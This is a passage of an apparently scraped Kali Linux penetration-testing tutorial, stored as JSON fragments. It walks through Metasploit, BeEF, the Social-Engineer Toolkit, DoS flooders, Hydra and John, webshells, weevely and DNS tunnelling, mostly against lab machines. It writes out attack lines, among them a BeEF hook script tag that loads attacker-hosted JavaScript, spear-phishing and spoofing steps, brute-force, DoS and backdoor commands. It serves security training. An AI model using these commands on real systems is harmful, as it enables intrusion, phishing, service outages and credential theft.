implementation. It is based on sslscan, a thorough SSL/TLS scanner that is based on the openssl library, and on the “openssl s_client” command line tool." }, { "code": null, "e": 21529, "s": 21237, "text": "The current tests include checking if the target supports the SSLv2 protocol, the NULL cipher, weak ciphers based on their key length (40 or 56 bits), the availability of strong ciphers (like AES), if the digital certificate is MD5 signed, and the current SSL/TLS renegotiation capabilities." }, { "code": null, "e": 21644, "s": 21529, "text": "To start testing, open a terminal and type “tlssled URL port“. It will start to test the certificate to find data." }, { "code": null, "e": 21761, "s": 21644, "text": "You can see from the finding that the certificate is valid until 2018 as shown in green in the following screenshot." }, { "code": null, "e": 22027, "s": 21761, "text": "w3af is a Web Application Attack and Audit Framework which aims to identify and exploit all web application vulnerabilities. This package provides a Graphical User Interface (GUI) for the framework. If you want a command-line application only, install w3af-console." }, { "code": null, "e": 22409, "s": 22027, "text": "The framework has been called the “metasploit for the web”, but it’s actually much more as it also discovers the web application vulnerabilities using black-box scanning techniques. The w3af core and its plugins are fully written in Python. The project has more than 130 plugins, which identify and exploit SQL injection, cross-site scripting (XSS), remote file inclusion and more." }, { "code": null, "e": 22493, "s": 22409, "text": "Step 1 − To open it, go to Applications → 03-Web Application Analysis → Click w3af." }, { "code": null, "e": 22597, "s": 22493, "text": "Step 2 − On the “Target” enter the URL of victim which in this case will be metasploitable web address." }, { "code": null, "e": 22642, "s": 22597, "text": "Step 3 − Select the profile → Click “Start”." }, { "code": null, "e": 22713, "s": 22642, "text": "Step 4 − Go to “Results” and you can see the finding with the details." }, { "code": null, "e": 22804, "s": 22713, "text": "In this chapter, we will learn about the various exploitation tools offered by Kali Linux." }, { "code": null, "e": 23124, "s": 22804, "text": "As we mentioned before, Metasploit is a product of Rapid7 and most of the resources can be found on their web page www.metasploit.com. It is available in two versions - commercial and free edition. The differences between these two versions is not much hence, in this case we will be using the Community version (free)." }, { "code": null, "e": 23483, "s": 23124, "text": "As an Ethical Hacker, you will be using “Kali Ditribution” which has the Metasploit community version embedded, along with other ethical hacking tools which are very comfortable by saving time of installation. However, if you want to install as a separate tool it is an application that can be installed in the operating systems like Linux, Windows and OS X." }, { "code": null, "e": 23587, "s": 23483, "text": "First, open the Metasploit Console in Kali. Then, go to Applications → Exploitation Tools → Metasploit." }, { "code": null, "e": 23693, "s": 23587, "text": "After it starts, you will see the following screen, where the version of Metasploit is underlined in red." }, { "code": null, "e": 23875, "s": 23693, "text": "In the console, if you use help or ? symbol, it will show you a list with the commands of MSP along with their description. You can choose based on your needs and what you will use." }, { "code": null, "e": 24117, "s": 23875, "text": "Another important administration command is msfupdate which helps to update the metasploit with the latest vulnerability exploits. After running this command in the console, you will have to wait several minutes until the update is complete." }, { "code": null, "e": 24355, "s": 24117, "text": "It has a good command called “Search” which you can use to find what you want as shown in the following screenshot. For example, I want to find exploits related to Microsoft and the command can be msf >search name:Microsoft type:exploit." }, { "code": null, "e": 24498, "s": 24355, "text": "Where “search” is the command, ”name” is the name of the object that we are looking for, and “type” is what kind of script we are looking for." }, { "code": null, "e": 24694, "s": 24498, "text": "Another command is “info”. It provides the information regarding a module or platform where it is used, who is the author, vulnerability reference, and the payload restriction that this can have." }, { "code": null, "e": 24856, "s": 24694, "text": "Armitage GUI for metasploit is a complement tool for metasploit. It visualizes targets, recommends exploits, and exposes the advanced post-exploitation features." }, { "code": null, "e": 24997, "s": 24856, "text": "Let’s open it, but firstly metasploit console should be opened and started. To open Armitage, go to Applications → Exploit Tools → Armitage." }, { "code": null, "e": 25061, "s": 24997, "text": "Click the Connect button, as shown in the following screenshot." }, { "code": null, "e": 25111, "s": 25061, "text": "When it opens, you will see the following screen." }, { "code": null, "e": 25294, "s": 25111, "text": "Armitage is user friendly. The area “Targets” lists all the machines that you have discovered and you are working with, the hacked targets are red in color with a thunderstorm on it." }, { "code": null, "e": 25444, "s": 25294, "text": "After you have hacked the target, you can right-click on it and continue exploring with what you need to do such as exploring (browsing) the folders." }, { "code": null, "e": 25638, "s": 25444, "text": "In the following GUI, you will see the view for the folders, which is called console. Just by clicking the folders, you can navigate through the folders without the need of metasploit commands." }, { "code": null, "e": 25730, "s": 25638, "text": "On the right side of the GUI, is a section where the modules of vulnerabilities are listed." }, { "code": null, "e": 25988, "s": 25730, "text": "BeEF stands for Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. BeEF allows the professional penetration tester to assess the actual security posture of a target environment using client-side attack vectors." }, { "code": null, "e": 26062, "s": 25988, "text": "First, you have to update the Kali package using the following commands −" }, { "code": null, "e": 26132, "s": 26062, "text": "root@kali:/# apt-get update \nroot@kali:/# apt-get install beef-xss \n" }, { "code": null, "e": 26170, "s": 26132, "text": "To start, use the following command −" }, { "code": null, "e": 26230, "s": 26170, "text": "root@kali:/# cd /usr/share/beef-xss \nroot@kali:/# ./beef \n" }, { "code": null, "e": 26290, "s": 26230, "text": "Open the browser and enter the username and password: beef." }, { "code": null, "e": 26650, "s": 26290, "text": "The BeEF hook is a JavaScript file hosted on the BeEF server that needs to run on client browsers. When it does, it calls back to the BeEF server communicating a lot of information about the target. It also allows additional commands and modules to be ran against the target. In this example, the location of BeEF hook is at http://192.168.1.101:3000/hook.js." }, { "code": null, "e": 26882, "s": 26650, "text": "In order to attack a browser, include the JavaScript hook in a page that the client will view. There are a number of ways to do that, however the easiest is to insert the following into a page and somehow get the client to open it." }, { "code": null, "e": 26969, "s": 26882, "text": "<script src = \"http://192.168.1.101:3000/hook.js\" type = \"text/javascript\"></script> \n" }, { "code": null, "e": 27292, "s": 26969, "text": "Once the page loads, go back to the BeEF Control Panel and click “Online Browsers” on the top left. After a few seconds, you should see your IP address pop-up representing a hooked browser. Hovering over the IP will quickly provide information such as the browser version, operating system, and what plugins are installed." }, { "code": null, "e": 27438, "s": 27292, "text": "To remotely run the command, click the “Owned” host. Then, on the command click the module that you want to execute, and finally click “Execute”." }, { "code": null, "e": 27536, "s": 27438, "text": "It suggests possible exploits given the release version ‘uname -r’ of the Linux Operating System." }, { "code": null, "e": 27576, "s": 27536, "text": "To run it, type the following command −" }, { "code": null, "e": 27661, "s": 27576, "text": "root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k 3.0.0\n" }, { "code": null, "e": 27726, "s": 27661, "text": "3.0.0 is the kernel version of Linux OS that we want to exploit." }, { "code": null, "e": 27808, "s": 27726, "text": "In this chapter, we will learn about the forensics tools available in Kali Linux." }, { "code": null, "e": 28224, "s": 27808, "text": "p0f is a tool that can identify the operating system of a target host simply by examining captured packets even when the device in question is behind a packet firewall. P0f does not generate any additional network traffic, direct or indirect; no name lookups; no mysterious probes; no ARIN queries; nothing. In the hands of advanced users, P0f can detect firewall presence, NAT use, and existence of load balancers." }, { "code": null, "e": 28316, "s": 28224, "text": "Type “p0f – h” in the terminal to see how to use it and you will get the following results." }, { "code": null, "e": 28360, "s": 28316, "text": "It will list even the available interfaces." }, { "code": null, "e": 28424, "s": 28360, "text": "Then, type the following command: “p0f –i eth0 –p -o filename”." }, { "code": null, "e": 28572, "s": 28424, "text": "Where the parameter \"-i\" is the interface name as shown above. \"-p\" means it is in promiscuous mode. \"-o\" means the output will be saved in a file." }, { "code": null, "e": 28616, "s": 28572, "text": "Open a webpage with the address 192.168.1.2" }, { "code": null, "e": 28711, "s": 28616, "text": "From the results, you can observe that the Webserver is using apache 2.x and the OS is Debian." }, { "code": null, "e": 29034, "s": 28711, "text": "pdf-parser is a tool that parses a PDF document to identify the fundamental elements used in the analyzed pdf file. It will not render a PDF document. It is not recommended for text book case for PDF parsers, however it gets the job done. Generally, this is used for pdf files that you suspect has a script embedded in it." }, { "code": null, "e": 29051, "s": 29034, "text": "The command is −" }, { "code": null, "e": 29079, "s": 29051, "text": "pdf-parser -o 10 filepath\n" }, { "code": null, "e": 29116, "s": 29079, "text": "where \"-o\" is the number of objects." }, { "code": null, "e": 29194, "s": 29116, "text": "As you can see in the following screenshot, the pdf file opens a CMD command." }, { "code": null, "e": 29374, "s": 29194, "text": "Dumpzilla application is developed in Python 3.x and has as a purpose to extract all forensic interesting information of Firefox, Iceweasel, and Seamonkey browsers to be analyzed." }, { "code": null, "e": 29518, "s": 29374, "text": "It copies data from one file or block device (hard disc, cdrom, etc.) to another, trying to rescue the good parts first in case of read errors." }, { "code": null, "e": 29671, "s": 29518, "text": "The basic operation of ddrescue is fully automatic. That is, you don't have to wait for an error, stop the program, restart it from a new position, etc." }, { "code": null, "e": 29978, "s": 29671, "text": "If you use the mapfile feature of ddrescue, the data is rescued very efficiently (only the needed blocks are read). Also, you can interrupt the rescue at any time and resume it later at the same point. The mapfile is an essential part of ddrescue's effectiveness. Use it unless you know what you are doing." }, { "code": null, "e": 30000, "s": 29978, "text": "The command line is −" }, { "code": null, "e": 30035, "s": 30000, "text": "dd_rescue infilepath outfilepath\n" }, { "code": null, "e": 30142, "s": 30035, "text": "Parameter \"–v\" means verbose. \"/dev/sdb\" is the folder to be rescued. The img file is the recovered image." }, { "code": null, "e": 30295, "s": 30142, "text": "It is another forensic tool used to recover the files. It has a GUI too. To open it, type “dff-gui” in the terminal and the following web GUI will open." }, { "code": null, "e": 30325, "s": 30295, "text": "Click File → “Open Evidence”." }, { "code": null, "e": 30436, "s": 30325, "text": "The following table will open. Check “Raw format” and click “+” to select the folder that you want to recover." }, { "code": null, "e": 30523, "s": 30436, "text": "Then, you can browse the files on the left of the pane to see what has been recovered." }, { "code": null, "e": 30609, "s": 30523, "text": "In this chapter, we will learn about the social engineering tools used in Kali Linux." }, { "code": null, "e": 30909, "s": 30609, "text": "The Social-Engineer Toolkit (SET) is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack in a fraction of time. These kind of tools use human behaviors to trick them to the attack vectors." }, { "code": null, "e": 30961, "s": 30909, "text": "Let’s learn how to use the Social Engineer Toolkit." }, { "code": null, "e": 31068, "s": 30961, "text": "Step 1 − To open SET, go to Applications → Social Engineering Tools → Click “SET” Social Engineering Tool." }, { "code": null, "e": 31174, "s": 31068, "text": "Step 2 − It will ask if you agree with the terms of usage. Type “y” as shown in the following screenshot." }, { "code": null, "e": 31334, "s": 31174, "text": "Step 3 − Most of the menus shown in the following screenshot are self-explained and among them the most important is the number 1 “Social Engineering Attacks”." }, { "code": null, "e": 31467, "s": 31334, "text": "Step 4 − Type “1” → Enter. A submenu will open. If you press the Enter button again, you will see the explanations for each submenu." }, { "code": null, "e": 31890, "s": 31467, "text": "The Spear-phishing module allows you to specially craft email messages and send them to your targeted victims with attached FileFormatmalicious payloads. For example, sending malicious PDF document which if the victim opens, it will compromise the system. If you want to spoof your email address, be sure “Sendmail” is installed (apt-get install sendmail) and change the config/set_config SENDMAIL=OFF flag to SENDMAIL=ON." }, { "code": null, "e": 31944, "s": 31890, "text": "There are two options for the spear phishing attack −" }, { "code": null, "e": 31972, "s": 31944, "text": "Perform a Mass Email Attack" }, { "code": null, "e": 32034, "s": 31972, "text": "Create a FileFormat Payload and a Social-Engineering Template" }, { "code": null, "e": 32184, "s": 32034, "text": "The first one is letting SET do everything for you (option 1), the second one is to create your own FileFormat payload and use it in your own attack." }, { "code": null, "e": 32275, "s": 32184, "text": "Type “99” to go back to the main menu and then type “2” to go to “The web attack vectors”." }, { "code": null, "e": 32565, "s": 32275, "text": "The web attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. This module is used by performing phishing attacks against the victim if they click the link. There is a wide variety of attacks that can occur once they click a link." }, { "code": null, "e": 32621, "s": 32565, "text": "Type “99” to return to the main menu and then type “3”." }, { "code": null, "e": 33010, "s": 32621, "text": "The infectious USB/CD/DVD module will create an autorun.inf file and a Metasploit payload. The payload and autorun file is burned or copied on a USB. When DVD/USB/CD is inserted in the victim’s machine, it will trigger an autorun feature (if autorun is enabled) and hopefully compromise the system. You can pick the attack vector you wish to use: fileformat bugs or a straight executable." }, { "code": null, "e": 33068, "s": 33010, "text": "Following are the options for Infectious Media Generator." }, { "code": null, "e": 33089, "s": 33068, "text": "File-Format Exploits" }, { "code": null, "e": 33120, "s": 33089, "text": "Standard Metasploit Executable" }, { "code": null, "e": 33209, "s": 33120, "text": "Type “99” to go back to the main menu. Then, type “4” to go to “The web attack vectors”." }, { "code": null, "e": 33446, "s": 33209, "text": "The create payload and listener is a simple way to create a Metasploit payload. It will export the exe file for you and generate a listener. You would need to convince the victim to download the exe file and execute it to get the shell." }, { "code": null, "e": 33537, "s": 33446, "text": "Type “99” to go back to the main menu and then type “5” to go to “The web attack vectors”." }, { "code": null, "e": 33893, "s": 33537, "text": "The mass mailer attack will allow you to send multiple emails to victims and customize the messages. There are two options on the mass e-mailer; the first is to send an email to a single email address. The second option allows you to import a list that has all recipient emails and it will send your message to as many people as you want within that list." }, { "code": null, "e": 33928, "s": 33893, "text": "E-Mail Attack Single Email Address" }, { "code": null, "e": 33954, "s": 33928, "text": "E-Mail Attack Mass Mailer" }, { "code": null, "e": 34047, "s": 33954, "text": "Type “99” to go back to the main menu and then type “9” to go to “Powershell Attack Vector”." }, { "code": null, "e": 34399, "s": 34047, "text": "The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks allow you to use PowerShell, which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and performing functions that do not get triggered by preventive technologies." }, { "code": null, "e": 34442, "s": 34399, "text": "Powershell Alphanumeric Shellcode Injector" }, { "code": null, "e": 34467, "s": 34442, "text": "Powershell Reverse Shell" }, { "code": null, "e": 34489, "s": 34467, "text": "Powershell Bind Shell" }, { "code": null, "e": 34518, "s": 34489, "text": "Powershell Dump SAM Database" }, { "code": null, "e": 34669, "s": 34518, "text": "Stressing tools are used to create DoS attacks or to create the stress test for different applications so as take appropriate measures for the future." }, { "code": null, "e": 34770, "s": 34669, "text": "All the Stress testing tools are found in Applications → 02-Vulnerability Analysis → Stress testing." }, { "code": null, "e": 34862, "s": 34770, "text": "All Stress testing test will be done on metsploitable machine which has IP of 192.168.1.102" }, { "code": null, "e": 35083, "s": 34862, "text": "Slowhttptest is one of the DoS attacking tools. It especially uses HTTP protocol to connect with the server and to keep the resources busy such as CPU and RAM. Let’s see in detail how to use it and explain its functions." }, { "code": null, "e": 35166, "s": 35083, "text": "To open slowhttptest, first open the terminal and type “slowhttptest –parameters”." }, { "code": null, "e": 35352, "s": 35166, "text": "You can type “slowhttptest –h” to see all the paramenters that you need to use. In case you receive an output, ‘Command not found’ you have to first type “apt-get install slowhttptest”." }, { "code": null, "e": 35404, "s": 35352, "text": "Then after installation, again type slowhttptest –h" }, { "code": null, "e": 35433, "s": 35404, "text": "Type the following command −" }, { "code": null, "e": 35540, "s": 35433, "text": "slowhttptest -c 500 -H -g -o outputfile -i 10 -r 200 -t GET –u \nhttp://192.168.1.202/index.php -x 24 -p 2\n" }, { "code": null, "e": 35547, "s": 35540, "text": "Where," }, { "code": null, "e": 35574, "s": 35547, "text": "(-c 500) = 500 connections" }, { "code": null, "e": 35601, "s": 35574, "text": "(-c 500) = 500 connections" }, { "code": null, "e": 35623, "s": 35601, "text": "(-H) = Slowloris mode" }, { "code": null, "e": 35645, "s": 35623, "text": "(-H) = Slowloris mode" }, { "code": null, "e": 35670, "s": 35645, "text": "-g = Generate statistics" }, { "code": null, "e": 35695, "s": 35670, "text": "-g = Generate statistics" }, { "code": null, "e": 35728, "s": 35695, "text": "-o outputfile = Output file name" }, { "code": null, "e": 35761, "s": 35728, "text": "-o outputfile = Output file name" }, { "code": null, "e": 35801, "s": 35761, "text": "-i 10 = Use 10 seconds to wait for data" }, { "code": null, "e": 35841, "s": 35801, "text": "-i 10 = Use 10 seconds to wait for data" }, { "code": null, "e": 35894, "s": 35841, "text": "-r 200 = 200 connections with -t GET = GET requests " }, { "code": null, "e": 35947, "s": 35894, "text": "-r 200 = 200 connections with -t GET = GET requests " }, { "code": null, "e": 35994, "s": 35947, "text": "-u http://192.168.1.202/index.php = target URL" }, { "code": null, "e": 36041, "s": 35994, "text": "-u http://192.168.1.202/index.php = target URL" }, { "code": null, "e": 36079, "s": 36041, "text": "-x 24 = maximum of length of 24 bytes" }, { "code": null, "e": 36117, "s": 36079, "text": "-x 24 = maximum of length of 24 bytes" }, { "code": null, "e": 36141, "s": 36117, "text": "-p 2 = 2-second timeout" }, { "code": null, "e": 36165, "s": 36141, "text": "-p 2 = 2-second timeout" }, { "code": null, "e": 36296, "s": 36165, "text": "Once the test starts, the output will be as shown in the following screenshot, where you can notice that the service is available." }, { "code": null, "e": 36429, "s": 36296, "text": "After a while, at the 287 connection the service goes down. This means that the server can handle a maximum of 287 HTTP connections." }, { "code": null, "e": 36644, "s": 36429, "text": "Inviteflood is a SIP/SDP INVITE message flooding over UDP/IP. It executes on a variety of Linux distributions. It carries out DoS (Denial of Service) attacks against SIP devices by sending multiple INVITE requests." }, { "code": null, "e": 36724, "s": 36644, "text": "To open Inviteflood, first open the terminal and type “inviteflood –parameters”" }, { "code": null, "e": 36763, "s": 36724, "text": "For help, you can use “inviteflood –h”" }, { "code": null, "e": 36805, "s": 36763, "text": "Next, you can use the following command −" }, { "code": null, "e": 36883, "s": 36805, "text": "inviteflood eth0 target_extension target_domain target_ip number_of_packets\n" }, { "code": null, "e": 36890, "s": 36883, "text": "Where," }, { "code": null, "e": 36915, "s": 36890, "text": "target_extension is 2000" }, { "code": null, "e": 36940, "s": 36915, "text": "target_extension is 2000" }, { "code": null, "e": 36969, "s": 36940, "text": "target_domain is 192.168.x.x" }, { "code": null, "e": 36998, "s": 36969, "text": "target_domain is 192.168.x.x" }, { "code": null, "e": 37023, "s": 36998, "text": "target_ip is 192.168.x.x" }, { "code": null, "e": 37048, "s": 37023, "text": "target_ip is 192.168.x.x" }, { "code": null, "e": 37071, "s": 37048, "text": "number_of_packets is 1" }, { "code": null, "e": 37094, "s": 37071, "text": "number_of_packets is 1" }, { "code": null, "e": 37121, "s": 37094, "text": "-a is alias of SIP account" }, { "code": null, "e": 37148, "s": 37121, "text": "-a is alias of SIP account" }, { "code": null, "e": 37260, "s": 37148, "text": "Iaxflood is a VoIP DoS tool. To open it, type “iaxflood sourcename destinationname numpackets” in the terminal." }, { "code": null, "e": 37299, "s": 37260, "text": "To know how to use, type “iaxflood –h”" }, { "code": null, "e": 37566, "s": 37299, "text": "THC-SSL-DOS is a tool to verify the performance of SSL. Establishing a secure SSL connection requires 15x more processing power on the server than on the client. THCSSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet." }, { "code": null, "e": 37593, "s": 37566, "text": "Following is the command −" }, { "code": null, "e": 37634, "s": 37593, "text": "thc-ssl-dos victimIP httpsport –accept \n" }, { "code": null, "e": 37664, "s": 37634, "text": "In this example, it will be −" }, { "code": null, "e": 37702, "s": 37664, "text": "thc-ssl-dos 192.168.1.1 443 –accept \n" }, { "code": null, "e": 37735, "s": 37702, "text": "Its output would be as follows −" }, { "code": null, "e": 37943, "s": 37735, "text": "The basic concept of sniffing tools is as simple as wiretapping and Kali Linux has some popular tools for this purpose. In this chapter, we will learn about the sniffing and spoofing tools available in Kali." }, { "code": null, "e": 38078, "s": 37943, "text": "Burpsuite can be used as a sniffing tool between your browser and the webservers to find the parameters that the web application uses." }, { "code": null, "e": 38156, "s": 38078, "text": "To open Burpsuite, go to Applications → Web Application Analysis → burpsuite." }, { "code": null, "e": 38320, "s": 38156, "text": "To make the setup of sniffing, we configure burpsuite to behave as a proxy. To do this, go to Options as shown in the following screenshot. Check the box as shown." }, { "code": null, "e": 38381, "s": 38320, "text": "In this case, the proxy IP will be 127.0.0.1 with port 8080." }, { "code": null, "e": 38465, "s": 38381, "text": "Then configure the browser proxy which is the IP of burpsuite machine and the port." }, { "code": null, "e": 38539, "s": 38465, "text": "To start interception, go to Proxy → Intercept → click “Intercept is on”." }, { "code": null, "e": 38640, "s": 38539, "text": "Continue to navigate on the webpage that you want to find the parameter to test for vulnerabilities." }, { "code": null, "e": 38705, "s": 38640, "text": "In this case, it is metasploitable machine with IP 192.168.1.102" }, { "code": null, "e": 38943, "s": 38705, "text": "Go to “HTTP History”. In the following screenshot, the line marked in red arrow shows the last request. In Raw and the hidden parameter such as the Session ID and other parameter such as user name and password has been underlined in red." }, { "code": null, "e": 39098, "s": 38943, "text": "mitmproxy is an SSL-capable man-in-the-middle HTTP proxy. It provides a console interface that allows traffic flows to be inspected and edited on the fly." }, { "code": null, "e": 39216, "s": 39098, "text": "To open it, go to the terminal and type “mitmproxy -parameter” and for getting help on commands, type “mitmproxy –h”." }, { "code": null, "e": 39311, "s": 39216, "text": "To start the mitmproxy, type “mitmproxy –p portnumber”. In this case, it is “mitmproxy –p 80”." }, { "code": null, "e": 39605, "s": 39311, "text": "Wireshark is one of the best data packet analyzers. It analyzes deeply the packets in frame level. You can get more information on Wireshark from their official webpage: https://www.wireshark.org/. In Kali, it is found using the following path - Applications → Sniffing & Spoofing → wireshark." }, { "code": null, "e": 39659, "s": 39605, "text": "Once you click wireshark, the following GUI opens up." }, { "code": null, "e": 39747, "s": 39659, "text": "Click “Start” and the packet capturing will start as shown in the following screenshot." }, { "code": null, "e": 39990, "s": 39747, "text": "sslstrip is a MITM attack that forces a victim's browser to communicate in plain-text over HTTP, and the proxies modifies the content from an HTTPS server. To do this, sslstrip is \"stripping\" https:// URLs and turning them into http:// URLs." }, { "code": null, "e": 40079, "s": 39990, "text": "To open it, go to Applications → 09-Sniffing & Spoofing → Spoofing and MITM → sslstrip." }, { "code": null, "e": 40149, "s": 40079, "text": "To set it up, write to forward all the 80 port communication to 8080." }, { "code": null, "e": 40203, "s": 40149, "text": "Then, start the sslstrip command for the port needed." }, { "code": null, "e": 40298, "s": 40203, "text": "In this chapter, we will learn about the important password cracking tools used in Kali Linux." }, { "code": null, "e": 40767, "s": 40298, "text": "Hydra is a login cracker that supports many protocols to attack ( Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP)." }, { "code": null, "e": 40843, "s": 40767, "text": "To open it, go to Applications → Password Attacks → Online Attacks → hydra." }, { "code": null, "e": 40916, "s": 40843, "text": "It will open the terminal console, as shown in the following screenshot." }, { "code": null, "e": 41016, "s": 40916, "text": "In this case, we will brute force FTP service of metasploitable machine, which has IP 192.168.1.101" }, { "code": null, "e": 41116, "s": 41016, "text": "We have created in Kali a word list with extension ‘lst’ in the path usr\\share\\wordlist\\metasploit." }, { "code": null, "e": 41149, "s": 41116, "text": "The command will be as follows −" }, { "code": null, "e": 41267, "s": 41149, "text": "hydra -l /usr/share/wordlists/metasploit/user -P \n/usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 –V \n" }, { "code": null, "e": 41318, "s": 41267, "text": "where –V is the username and password while trying" }, { "code": null, "e": 41420, "s": 41318, "text": "As shown in the following screenshot, the username and password are found which are msfadmin:msfadmin" }, { "code": null, "e": 41526, "s": 41420, "text": "Johnny is a GUI for the John the Ripper password cracking tool. Generally, it is used for weak passwords." }, { "code": null, "e": 41586, "s": 41526, "text": "To open it, go to Applications → Password Attacks → johnny." }, { "code": null, "e": 41711, "s": 41586, "text": "In this case, we will get the password of Kali machine with the following command and a file will be created on the desktop." }, { "code": null, "e": 41805, "s": 41711, "text": "Click “Open Passwd File” → OK and all the files will be shown as in the following screenshot." }, { "code": null, "e": 41827, "s": 41805, "text": "Click “Start Attack”." }, { "code": null, "e": 41928, "s": 41827, "text": "After the attack is complete, click the left panel at “Passwords” and the password will be unshaded." }, { "code": null, "e": 42022, "s": 41928, "text": "john is a command line version of Johnny GUI. To start it, open the Terminal and type “john”." }, { "code": null, "e": 42100, "s": 42022, "text": "In case of unshadowing the password, we need to write the following command −" }, { "code": null, "e": 42155, "s": 42100, "text": "root@kali:~# unshadow passwd shadow > unshadowed.txt \n" }, { "code": null, "e": 42364, "s": 42155, "text": "The RainbowCrack software cracks hashes by rainbow table lookup. Rainbow tables are ordinary files stored on the hard disk. Generally, Rainbow tables are bought online or can be compiled with different tools." }, { "code": null, "e": 42438, "s": 42364, "text": "To open it, go to Applications → Password Attacks → click “rainbowcrack”." }, { "code": null, "e": 42480, "s": 42438, "text": "The command to crack a hash password is −" }, { "code": null, "e": 42537, "s": 42480, "text": "rcrack path_to_rainbow_tables -f path_to_password_hash \n" }, { "code": null, "e": 42705, "s": 42537, "text": "It is a dictionary attack tool for SQL server and is very easy and basic to be used. To open it, open the terminal and type “sqldict”. It will open the following view." }, { "code": null, "e": 42893, "s": 42705, "text": "Under “Target IP Server”, enter the IP of the server holding the SQL. Under “Target Account”, enter the username. Then load the file with the password and click “start” until it finishes." }, { "code": null, "e": 43066, "s": 42893, "text": "It is a tool that is used to identify types of hashes, meaning what they are being used for. For example, if I have a HASH, it can tell me if it is a Linux or windows HASH." }, { "code": null, "e": 43156, "s": 43066, "text": "The above screen shows that it can be a MD5 hash and it seems a Domain cached credential." }, { "code": null, "e": 43313, "s": 43156, "text": "In this chapter, we will see the tools that Kali uses to maintain connection and for access to a hacked machine even when it connects and disconnects again." }, { "code": null, "e": 43486, "s": 43313, "text": "This is a tool that is for Windows machines. It has PowerShell installed in victims machine. This tool helps the hacker to connect with the victim’s machine via PowerShell." }, { "code": null, "e": 43598, "s": 43486, "text": "To open it, open the terminal on the left and type the following command to enter into the powersploit folder −" }, { "code": null, "e": 43627, "s": 43598, "text": "cd /usr/share/powersploit/ \n" }, { "code": null, "e": 43835, "s": 43627, "text": "If you type “ls” it will list all the powersploit tools that you can download and install in the victim’s machine after you have gained access. Most of them are name self-explained according to their names." }, { "code": null, "e": 43997, "s": 43835, "text": "An easy way to download this tool on the victim’s machine is to create a web server, which powersploit tools allow to create easily using the following command −" }, { "code": null, "e": 44026, "s": 43997, "text": "python -m SimpleHTTPServer \n" }, { "code": null, "e": 44115, "s": 44026, "text": "After this, if you type: http://<Kali machine ip_address>:8000/ following is the result." }, { "code": null, "e": 44370, "s": 44115, "text": "sbd is a tool similar to Netcat. It is portable and can be used in Linux and Microsoft machines. sbd features AES-CBC-128 + HMAC-SHA1 encryption> Basically, it helps to connect to a victim’s machine any time on a specific port and send commands remotely." }, { "code": null, "e": 44466, "s": 44370, "text": "To open it, go to the terminal and type “sbd -l -p port” for the server to accept connections." }, { "code": null, "e": 44529, "s": 44466, "text": "In this case, let us put port 44 where the server will listen." }, { "code": null, "e": 44652, "s": 44529, "text": "On the victim’s site, type “sbd IPofserver port”. A connection will be established where we can send the remote commands." }, { "code": null, "e": 44738, "s": 44652, "text": "In this case, it is “localhost” since we have performed the test on the same machine." }, { "code": null, "e": 44843, "s": 44738, "text": "Finally, on the server you will see that a connection has occurred as shown in the following screenshot." }, { "code": null, "e": 45067, "s": 44843, "text": "Webshells can be used to maintain access or to hack a website. But most of them are detected by antiviruses. The C99 php shell is very well known among the antivirus. Any common antivirus will easily detect it as a malware." }, { "code": null, "e": 45144, "s": 45067, "text": "Generally, their main function is to send system command via web interfaces." }, { "code": null, "e": 45210, "s": 45144, "text": "To open it, and type “cd /usr/share/webshells/” in the terminal." }, { "code": null, "e": 45320, "s": 45210, "text": "As you see, they are divided in classes according to the programing language : asp , aspx, cfm, jsp, perl,php" }, { "code": null, "e": 45400, "s": 45320, "text": "If you enter in the PHP folder, you can see all the webshells for php webpages." }, { "code": null, "e": 45514, "s": 45400, "text": "To upload the shell to a web server, for example “simple-backdoor.php” open the webpage and URL of the web shell." }, { "code": null, "e": 45614, "s": 45514, "text": "At the end, write the cmd command. You will have all the info shown as in the following screenshot." }, { "code": null, "e": 45840, "s": 45614, "text": "Weevely is a PHP web shell that simulate telnet-like connection. It is a tool for web application post exploitation, and can be used as a stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones." }, { "code": null, "e": 45919, "s": 45840, "text": "To open it, go to the terminal and type “weevely” where you can see its usage." }, { "code": null, "e": 46121, "s": 45919, "text": "To generate the shell, type “weevely generate password pathoffile”. As seen in the following screenshot, it is generated on the “Desktop” folder and the file is to upload in a webserver to gain access." }, { "code": null, "e": 46314, "s": 46121, "text": "After uploading the web shell as shown in the following screenshot, we can connect with cmd to the server using the command “weevely URL password” where you can see that a session has started." }, { "code": null, "e": 46658, "s": 46314, "text": "http-tunnel creates a bidirectional virtual data stream tunneled in HTTP requests. The requests can be sent via a HTTP proxy if so desired. This can be useful for users behind restrictive firewalls. If WWW access is allowed through a HTTP proxy, it’s possible to use http-tunnel and telnet or PPP to connect to a computer outside the firewall." }, { "code": null, "e": 46727, "s": 46658, "text": "First, we should create a tunnel server with the following command −" }, { "code": null, "e": 46750, "s": 46727, "text": "httptunnel_server –h \n" }, { "code": null, "e": 46846, "s": 46750, "text": "Then, on the client site type “httptunnel_client –h” and both will start to accept connections." }, { "code": null, "e": 46958, "s": 46846, "text": "This is again a tunneling tool that helps to pass the TCP traffic through DNS Traffic, which means UDP 53 port." }, { "code": null, "e": 47042, "s": 46958, "text": "To start it, type “dns2tcpd”. The usage is explained when you will open the script." }, { "code": null, "e": 47104, "s": 47042, "text": "On the server site, enter this command to configure the file." }, { "code": null, "e": 47328, "s": 47104, "text": "#cat >>.dns2tcpdrc\n<&l;END listen = 0.0.0.0 \nport = 53 user=nobody \nchroot = /root/dns2tcp \npid_file = /var/run/dns2tcp.pid \ndomain = your domain key = secretkey \nresources = ssh:127.0.0.1:22 \nEND \n#dns2tcpd -f 